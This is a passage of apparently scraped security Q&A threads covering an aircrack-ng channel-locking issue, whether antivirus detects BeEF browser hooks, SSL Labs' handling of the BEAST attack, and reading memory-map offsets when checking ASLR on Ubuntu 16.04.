Specifically, the channel will not hold to that of the AP, no matter how many times you set it with iwconfig, airmon-ng, etc. Very annoying! Many probably think it is their wireless chip at first, but even the legendary rtl8187 suffers.

Also, the aircrack-ng forums do extensively cover this known issue, albeit in their own lingo. They generally don't respond to questions when what they consider answers exist on their forums. Admittedly, the solutions are not always perfectly clear.


Can antivirus software detect if your PC is hooked to BeEF? I recently discovered BeEF with which someone can gain access to another PC through XSS.

I was wondering if antivirus software can detect when a PC get's hooked to BeEF.. An online search doesn't give a clear answer.

Am I safe from being hooked to BeEF if I have an active and up to date antivirus?

I was wondering if antivirus software can detect when a PC get's
  hooked to BeEF.

I am afraid you don't understand what BeEF is. BeEF is a browser exploitation framework that can inject malicious JavaScript into a website with XSS vulnerability. That in no way means hooking your PC, rather more like hooking your browser tab.

Can an antivirus detect that?

No, antivirus won't be good to detect such a thing.

However BeEF also has modules for exploiting browser vulnerabilities to gain code execution, but unless you are using a outdated/old browser you don't have to worry about it. Also antivirus (such as Windows Defender) is pretty good at spotting MSF shellcode, even in memory.


Beast attack and Qualys SSL test If a server supports

|   SSLv3: No supported ciphers found
|   TLSv1.0:
|     ciphers:
|       TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA - strong
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA - strong
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA - strong
|       TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong
|       TLS_RSA_WITH_AES_128_CBC_SHA - strong
|       TLS_RSA_WITH_AES_256_CBC_SHA - strong
|     compressors:
|       NULL
|   TLSv1.2:
|     ciphers:
|       TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA - strong
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA - strong
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 - strong
|       TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 - strong
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA - strong
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 - strong
|       TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 - strong
|       TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong
|       TLS_RSA_WITH_AES_128_CBC_SHA - strong
|       TLS_RSA_WITH_AES_128_CBC_SHA256 - strong
|       TLS_RSA_WITH_AES_128_GCM_SHA256 - strong
|       TLS_RSA_WITH_AES_256_CBC_SHA - strong
|       TLS_RSA_WITH_AES_256_CBC_SHA256 - strong
|       TLS_RSA_WITH_AES_256_GCM_SHA384 - strong
|     compressors:
|       NULL

Qualys ssl test gets A and it does not say it is vulnerable to beast attack, however CBC and TLS1.0 if I know if correctly should make it beast attackable.

Either my understanding is wrong or ssltest on ssllabs isn't reporting it.

SSL Labs no longer penalizes this
In a blog post dated 2013-09-10 SSL Labs project lead Ivan Ristic said:

Yesterday I changed the SSL Labs rating criteria to stop penalizing sites that do not implement server-side mitigations for the BEAST attack. That means that we now consider this attack sufficiently mitigated client-side, [...]

Details/Timeline

2011-08-23 BEAST is revealed
2013-02-07, SSL Labs: Vulnerability to the BEAST attack caps the grade at B.
2013-09-09, SSL Labs: Grade cap is removed.

SSL Labs version history is taken from their SSL Server Rating Guide PDF.


Trying to understand ASLR in Ubuntu 16.04 Has something changed here? No matter whether I set randomize_va_space, the stack will always have an offset of 0. Afaik it should be a random number, right?

....
f7fd8000-f7fd9000 r-xp 00000000 00:00 0                                  [vdso]
f7fd9000-f7ffb000 r-xp 00000000 08:05 922294                             /lib/i386-linux-gnu/ld-2.23.so
f7ffb000-f7ffc000 rw-p 00000000 00:00 0
f7ffc000-f7ffd000 r--p 00022000 08:05 922294                             /lib/i386-linux-gnu/ld-2.23.so
f7ffd000-f7ffe000 rw-p 00023000 08:05 922294                             /lib/i386-linux-gnu/ld-2.23.so
fffdd000-ffffe000 rw-p 00000000 00:00 0                                  [stack]

In other cases the stack is at a lower position tho:

...
7ffc2c7f6000-7ffc2c7f8000 r--p 00000000 00:00 0                          [vvar]
7ffc2c7f8000-7ffc2c7fa000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

But even in this case the offset is 0! What am I missing?

The starting and ending address fffdd000-ffffe000 is what should change at every execution with ASLR enabled. You should see a different address here every time you run the program. The 00000000 is the offset in the file that this region was mapped from (which is not affected by ASLR) - if it wasn't mapped from a file, it is always 0.